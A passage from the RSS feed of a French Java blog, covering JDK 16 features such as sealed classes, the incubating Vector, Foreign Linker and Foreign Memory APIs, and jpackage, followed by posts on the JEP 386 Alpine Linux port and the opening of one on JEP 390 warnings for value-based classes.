&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;final&lt;/code&gt; : permet de bloquer l&amp;#8217;héritage. Il ne peut pas avoir des classes dérivées.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;sealed&lt;/code&gt; : permet d’avoir des classes dérivées à condition qu’elles fassent partir des classes autorisées pour cela il y a le mot clé &lt;code&gt;permits&lt;/code&gt; à utiliser.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;non-sealed&lt;/code&gt; : permet de ne pas limiter les classes dérivées.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Par exemple, nous avons :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;package com.exemple.geometrie;

public abstract sealed class Forme
    permits Cercle, Rectangle, Carre {
	...
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;fonctionnalités_en_mode_incubation&quot;&gt;Fonctionnalités en mode Incubation&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;333_vector_api_incubator&quot;&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/338&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;333 - Vector API (Incubator)&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Certains processeurs incluent des intructions pour les calculs vectoriels. Le but est de fournir une API Java afin de réaliser ce type de calcul. Ainsi, à l&amp;#8217;exécution, la JVM peut réaliser des optimisations en fonction du matériel présent.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les objectifs sont :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Clair et concis : L&amp;#8217;API doit permet de préciser des grands calculs vectoriels.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Indépendant du matériel : Ne pas être spécifique à un matériel donné.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Fonctionne sous x64 et AArch64&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Dégradation possible : Si le matériel ne prend pas en charge ce type de calcul, la JVM prendra le relais pour la réalisation des opérations.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;389_foreign_linker_api_incubator&quot;&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/389&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;389 - Foreign Linker API (Incubator)&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le but est de fournir une API Java pour accèder directement à une librairie native.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les objectifs sont les suivants :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Facile à utiliser : Etre plus facile que JNI (Java Native Interface)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Support C : Assurer la compatibilité avec les librairies C sur x64 et AArch64&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Généralité : Flexible pour supporter d&amp;#8217;autres plateformes comme 32-bit x86 ou d&amp;#8217;autres langages (C++, Fortan)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Performance : Comparable à JNI, voire meilleur.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Voici un exemple d&amp;#8217;appel de la méthode strlen&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;// Recherche de la méthode stren
MethodHandle strlen = CLinker.getInstance().downcallHandle(
        LibraryLookup.ofDefault().lookup(&quot;strlen&quot;),
        MethodType.methodType(long.class, MemoryAddress.class),
        FunctionDescriptor.of(C_LONG, C_POINTER)
    );

// Appel de la méthode strlen
try (MemorySegment str = CLinker.toCString(&quot;Hello&quot;)) {
   long len = strlen.invokeExact(str.address()); // 5
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Cette fonctionnalité s&amp;#8217;appuie sur la fonctionnalité suivante pour l&amp;#8217;allocation mémoire.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;393_foreign_memory_api_third_incubator&quot;&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/393&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;393 - Foreign Memory API (Third Incubator)&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif de cette API est de fournir un moyen afin qu&amp;#8217;un programme Java puisse allouer de la mémoire externe, en dehors du tas (&quot;heap&quot;).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cette troisième version permet le raffinement suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Séparation clair entre les interfaces &lt;code&gt;MemorySegment&lt;/code&gt; et &lt;code&gt;MemoryAddress&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Nouvelle classe &lt;code&gt;MemoryAccess&lt;/code&gt; qui fournit un ensemble de méthodes statiques pout les usages commun&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Support de la mémoire partagée&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Capacité d&amp;#8217;enregistrer des segments avec des nettoyeurs&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Voici un exemple de code :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;try (MemorySegment segment = MemorySegment.allocateNative(10 * 4)) {
    for (int i = 0 ; i &amp;lt; 10 ; i++) {
       MemoryAccess.setIntAtIndex(segment, i);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Plus d&amp;#8217;informations sur le &lt;a href=&quot;/2020/11/JDK15-Nouveautes.html#383_foreign_memory_access_api_second_incubator&quot;&gt;Foreign Memory Access API&lt;/a&gt; du billet du JDK15.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;fonctionnalité_sour_le_capot&quot;&gt;Fonctionnalité sour le capot&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;347_enable_c14_language_features&quot;&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/347&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;347 - Enable C++14 Language Features&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Cela concerne les contributeurs du JDK.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela reste quand même intéressant de se rappeler qu&amp;#8217;une partie du JDK est développée en Cplusplus.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Jusqu&amp;#8217;à présent, les contributeurs étaient limités à Cplusplus 98/03. Cette JEP permet d&amp;#8217;autoriser les fonctionnalités du standard Cplusplus 14. Il fournit aussi les règles d&amp;#8217;utilisation pour HotSpot.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela permet aussi de pouvoir utiliser des compilateurs récents.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;376_zgcconcurrent_thread_stack_processing&quot;&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/376&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;376 - ZGC:Concurrent Thread-Stack Processing&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif est de déplacer l&amp;#8217;opération &quot;thread-stack processing&quot; du point de restauration à une phase concurrente.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela devrait améliorer les performances car le temps pour réaliser le point de restauration sera très court (&amp;lt; 1 ms).&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;387_elastic_metaspace&quot;&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/387&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;387 - Elastic Metaspace&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Depuis le JDK 8, la mémoire permanente a été supprimée (Rappelez vous des anciennes options : PermSize et MaxPermSize). (cf &lt;a href=&quot;https://openjdk.java.net/jeps/122&quot;&gt;JEP 122 - Remove the Permanent Generation&lt;/a&gt;). Cela a été remplacé par un nouveau espace : le Metaspace.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Dans la plupart des cas, cela fonctionne très bien. Cependant, des cas existent où la mémoire non utilisée est gaspillée de façon excessive.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif est de réduire l&amp;#8217;empreinte mémoire du Metaspace, simplifier de code et de pouvoir libérer la mémoire non utilisée.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;outilllage&quot;&gt;Outilllage&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;357_migrate_from_mercurial_to_git&quot;&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/357&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;357 - Migrate from Mercurial to Git&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif est l&amp;#8217;abandon de Mercurial pour passer à Git comme gestionnaire de sources.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; Bien que cela concerne les contributeurs du JDK, cela permet à chaque développeur de rentrer plus facilement dans le code du JDK et de comprendre les évolutions.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Plus d&amp;#8217;informations sur le &lt;a href=&quot;/2021/01/Projet_Skara_C_est_quoi.html&quot;&gt;sur le billet dédié.&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;369_migrate_to_github&quot;&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/369&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;369 - Migrate to Github&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Suite au choix de Git, l&amp;#8217;objectif est de réaliser la migration vers un fournisseur. C&amp;#8217;est Github qui a été retenu.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cependant un travail a été fait pour rester générique avec une url neutre &lt;a href=&quot;https://git.openjdk.java.net/jdk&quot; class=&quot;bare&quot;&gt;https://git.openjdk.java.net/jdk&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Plus d&amp;#8217;informations sur le &lt;a href=&quot;/2021/01/Projet_Skara_C_est_quoi.html&quot;&gt;sur le billet dédié.&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;392_packaging_tool&quot;&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/392&quot;&gt;392 - Packaging Tool&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif est de fournir un moyen d&amp;#8217;installation des applications Java. A l&amp;#8217;instar des anciennes fonctionnalités comme Java Web Start (supprimée en JDK 11) et pack200 (&lt;a href=&quot;https://openjdk.java.net/jeps/367&quot;&gt;supprimée en JDK 14&lt;/a&gt;), l&amp;#8217;idée est de s&amp;#8217;appuyer sur la création de packages natifs.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Linux : deb et rpm&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;macOS : pkg et dmg&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Windos : msi et exe&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il est à noter qu&amp;#8217;il n&amp;#8217;y a pas d&amp;#8217;interface graphique pour l&amp;#8217;outil. C&amp;#8217;est exclusivement en ligne de commande.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cas d&amp;#8217;usage pour une application non modulaire&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;jpackage --name myapp --input lib --main-jar main.jar&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cas d&amp;#8217;usage pour une application modulaire&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;jpackage --name myapp --module-path lib -m myapp&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;L&amp;#8217;outil n&amp;#8217;est pas cross-platforme. C&amp;#8217;est à dire que pour réaliser un programme d&amp;#8217;installation pour Windows, l&amp;#8217;outil &lt;code&gt;jpackage&lt;/code&gt; doit être exécuté sous Windows. Et cela, pour l&amp;#8217;ensemble de plate-formes.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>JEP386 Alpine Linux Port</title>
      <link>https://www.lilian-benoit.fr/2021/03/JEP386-Alpine-Linux-Port.html</link>
      <pubDate>dim., 7 mars 2021 00:00:00 +0100</pubDate>
      <guid isPermaLink="false">2021/03/JEP386-Alpine-Linux-Port.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#projet_portola&quot;&gt;Projet Portola&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#pourquoi_musl&quot;&gt;Pourquoi musl ?&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#déploiement_cloud&quot;&gt;Déploiement cloud&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#le_monde_de_lembarqué&quot;&gt;Le monde de l&amp;#8217;embarqué&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le JDK sous Linux est basé sur la librairie glibc pour son fonctionnement. C&amp;#8217;est la librairie C standard qui est utilisée sur les principales distributions Linux. Mais il existe d&amp;#8217;autres implémentations comme la librairie &lt;strong&gt;musl&lt;/strong&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;projet_portola&quot;&gt;Projet Portola&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif du &lt;a href=&quot;http://openjdk.java.net/projects/portola/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;projet Portola&lt;/a&gt; est de porter le JDK sous les systèmes Linux fonctionnant avec la librairie C &lt;strong&gt;musl&lt;/strong&gt;. Ce projet a démarré en &lt;a href=&quot;https://mail.openjdk.java.net/pipermail/portola-dev/2017-April/000008.html&quot;&gt;Avril 2017&lt;/a&gt;. La &lt;a href=&quot;https://openjdk.java.net/jeps/386&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 386: Alpine Linux Port&lt;/a&gt; concerne l&amp;#8217;intégration de cette implémentation dans le dépôt principal du JDK. En effet, le projet avait jusqu&amp;#8217;à présent son propre dépôt de sources. C&amp;#8217;est donc la conclusion de 4 ans de travail. Les anciens dépôts Mercurial montre bien l&amp;#8217;effort sur la réalisation des prototypes sur les différentes versions du JDK (soit le JDK 9 pour le premier prototype)&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;::&lt;span class=&quot;image&quot;&gt;&lt;img src=&quot;/resources/img/blog/2021/03/depot-mercurial-portola-details.png&quot; alt=&quot;depot mercurial portola details&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;pourquoi_musl&quot;&gt;Pourquoi musl ?&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;strong&gt;musl&lt;/strong&gt; est une implémentation de la librairie standard C, construite sur l&amp;#8217;API d&amp;#8217;appel système Linux. &lt;strong&gt;Musl&lt;/strong&gt; est léger, rapide et simple. Nous avons deux cas d&amp;#8217;usages :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Déploiement cloud&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Le monde de l&amp;#8217;embarqué&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;déploiement_cloud&quot;&gt;Déploiement cloud&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Dans le monde du cloud, nous retrouvons souvent des images sur Alpine. C&amp;#8217;est un système construit autour de BusyBox et de la librairie &lt;strong&gt;musl&lt;/strong&gt;. L&amp;#8217;objectif est d&amp;#8217;avoir un besoin de ressource minimal et être plus efficient que les distributions classiques.
Cela est primordiale quand nous savons que nous payons les ressources utilisées dans le cloud.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Dans ce sens, une image  &lt;a href=&quot;https://www.alpinelinux.org/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Alpine&lt;/a&gt; Linux 3.11 prend moins de 6MB. Donc si nous prenons une image + environnement d&amp;#8217;exécution Java nécessitant que le module &lt;code&gt;java.base&lt;/code&gt; (utilisation de jlink), nous obtenons une image de 38MB seulement.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; L&amp;#8217;intérêt de la modularité du JDK est de réduire la taille de ce dernier en ayant un environnement d&amp;#8217;exécution spécifique à ce que l&amp;#8217;on a besoin.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;le_monde_de_lembarqué&quot;&gt;Le monde de l&amp;#8217;embarqué&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Un autre domaine où la réduction des ressources nécessaire est le monde de l&amp;#8217;embarqué. En effet, cela correspond à des environnements contraints au niveau des ressources. Dans ce sens, il existe notamment le système &lt;a href=&quot;https://openwrt.org/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenWrt&lt;/a&gt; qui est construit à partir de la librairie C &lt;strong&gt;musl&lt;/strong&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La page du projet OpenWrt affiche &lt;a href=&quot;https://openwrt.org/toh/start&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;1707 périphériques supportés&lt;/a&gt;. Cela devient des nouvelles cibles d&amp;#8217;exécution.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/386&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 386: Alpine Linux Port&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;http://openjdk.java.net/projects/portola/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Projet Portola&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://mail.openjdk.java.net/pipermail/portola-dev/2017-April/000008.html&quot;&gt;(en) Premier mail du projet Portola&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.alpinelinux.org/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) Site web du projet Alpine&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wiki.musl-libc.org/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) Site Wiki du projet musl-libc&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openwrt.org/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) Site web du projet OpenWrt&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openwrt.org/toh/start&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) Liste du matériel supportés&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>JEP 390 Warnings for Value Based Classes</title>
      <link>https://www.lilian-benoit.fr/2021/02/JEP390-Warnings-for-Value-Based-Classes.html</link>
      <pubDate>dim., 28 févr. 2021 00:00:00 +0100</pubDate>
      <guid isPermaLink="false">2021/02/JEP390-Warnings-for-Value-Based-Classes.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#value_based_classes&quot;&gt;Value-based classes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#warnings_for_value_based_classes&quot;&gt;Warnings for Value Based Classes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Avant de parler de ces nouveaux avertissements, présentons le projet  &lt;a href=&quot;https://openjdk.java.net/projects/valhalla/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Projet Valhalla&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ce projet travaille notamment sur deux fonctionnalités :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&quot;inline type&quot;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Generic over Primitive Types.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le travail concerne l&amp;#8217;amélioration de la prise en compte des types primitifs afin de réaliser des optimisations.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
